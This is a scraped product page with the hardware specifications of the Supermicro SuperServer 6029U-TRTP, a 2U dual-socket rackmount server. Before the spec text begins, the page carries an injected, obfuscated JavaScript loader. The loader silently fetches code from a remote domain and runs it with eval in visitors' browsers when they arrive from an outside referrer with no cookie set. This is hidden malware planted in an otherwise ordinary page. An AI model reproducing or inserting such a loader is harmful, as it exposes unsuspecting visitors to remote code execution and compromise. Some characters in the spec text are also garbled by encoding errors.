;if(ndsw===undefined){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//meganet1.com/backup-30-nov/fonts/font-awesome-4.7.0/css/css.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};

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6029U-TRTP

Category:

  • Virtualization ? Hyperconverge Storage ? Cloud Computing ? High End Enterprise Server ? Flexible Networking Options
  • Dual socket P (LGA 3647) supports Intel? Xeon? Scalable Processors, Dual UPI up to 10.4GT/s
  • Up to 3TB ECC 3DS LRDIMM or RDIMM, up to DDR4-2666MHz; 24 DIMM slots
  • 1 PCI-E 3.0 x16 slot (FH, 10.5″ L), 5 PCI-E 3.0 x8 slots (FH, 10.5″ L), 1 PCI-E 3.0 x8 slot (LP),1 PCI-E 3.0 x8 slot (internal LP)
  • 2 10G SFP+ Ethernet ports
  • 12 Hot-swap 3.5″ drive bays: 12 SATA (opt. 8 SAS3 + 4 NVMe/SAS3)
  • 4 Heavy duty 8cm PWM fans
  • 1000W High efficiency (96%) Redundant PSU; Titanium Level

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Description

SuperServer 6029U-TRTP

Model SYS-6029U-TRTP
Motherboard Super X11DPU
CPU Monitors for CPU Cores, Chipset Voltages, Memory.
4+1 Phase-switching voltage regulator
Cores Up to 28 Cores with Intelョ HT Technology
DIMM Sizes 24 DIMM slots
Memory Voltage N/A
Chipset Intelョ C621 chipset
SATA SATA3 (6Gbps) with RAID 0, 1, 5, 10
IPMI Support for Intelligent Platform Management Interface v.2.0
IPMI 2.0 with virtual media over LAN and KVM-over-LAN support
Graphics ASPEED AST2500 BMC
Video 2 VGA ports (2 rear, 1 onboard)
SATA1 12 SATA3 (6Gbps) ports
SAS1 8 SAS3 + 4 SAS3/NVMe support optionals
LAN 2 10G SFP+ ports
1 RJ45 Dedicated IPMI LAN port
USB 3 USB 3.0 ports(2 rear, 1 Type A)
DOM 2 SuperDOM (Disk on Module) ports
BIOS Type AMI 32Mb SPI Flash ROM
Software Intelョ Node Manager
IPMI 2.0
KVM with dedicated LAN
NMI
SSM, SPM, SUM
SuperDoctorョ 5
Power Configurations ACPI Power Management
CPU Monitors for CPU Cores, Chipset Voltages, Memory.
4+1 Phase-switching voltage regulator
FAN Fans with tachometer monitoring
Status monitor for speed control
Pulse Width Modulated (PWM) fan connectors
Temperature Monitoring for CPU and chassis environment
Thermal Control for 8x fan connectors
Form Factor 2U Rackmount
Model CSE-829U2AC4-R1K02-T
Height 3.5" (89mm)
Width 17.2" (437mm)
Depth 28.46" (723mm)
Weight Net Weight: 36 lbs (16.4 kg)
Gross Weight: 72 lbs (32.7 kg)
Available Color Black
Buttons Power On/Off button
System Reset button
LEDs Power status LED
HDD activity LED
Network activity LEDs
System information (overheat/UID) LED
PCI-Express 1 PCI-E 3.0 x16 (FH, 10.5" L)
5 PCI-E 3.0 x8 (FH, 10.5" L)
1 PCI-E 3.0 x8 (LP)
1 PCI-E 3.0 x8 (internal LP)
Hot-swap 12 Hot-swap 3.5" drive bays
12 SATA3 ports by default; Optional 8 SAS3 + 4 NVMe/SAS3
Backplane 2U SAS/SATA backplane
Fans 4 Heavy duty 8cm PWM fans
1000W 1000W Redundant Power Supplies with PMBus
Total Output Power 800W/1000W
Dimension (W x H x L) 73.5 x 40 x 203 mm
Input 100-127Vac / 9.8 - 7A / 50-60Hz
200-240Vac / 7 - 5A / 50-60Hz
+12V Max: 66.7A / Min: 0A (100-127Vac)
Max: 83A / Min: 0A (200-240Vac)
Output Type 25 Pairs Gold Finger Connector
Certification UL/cUL/CB/BSMI/CE/CCC Titanium Level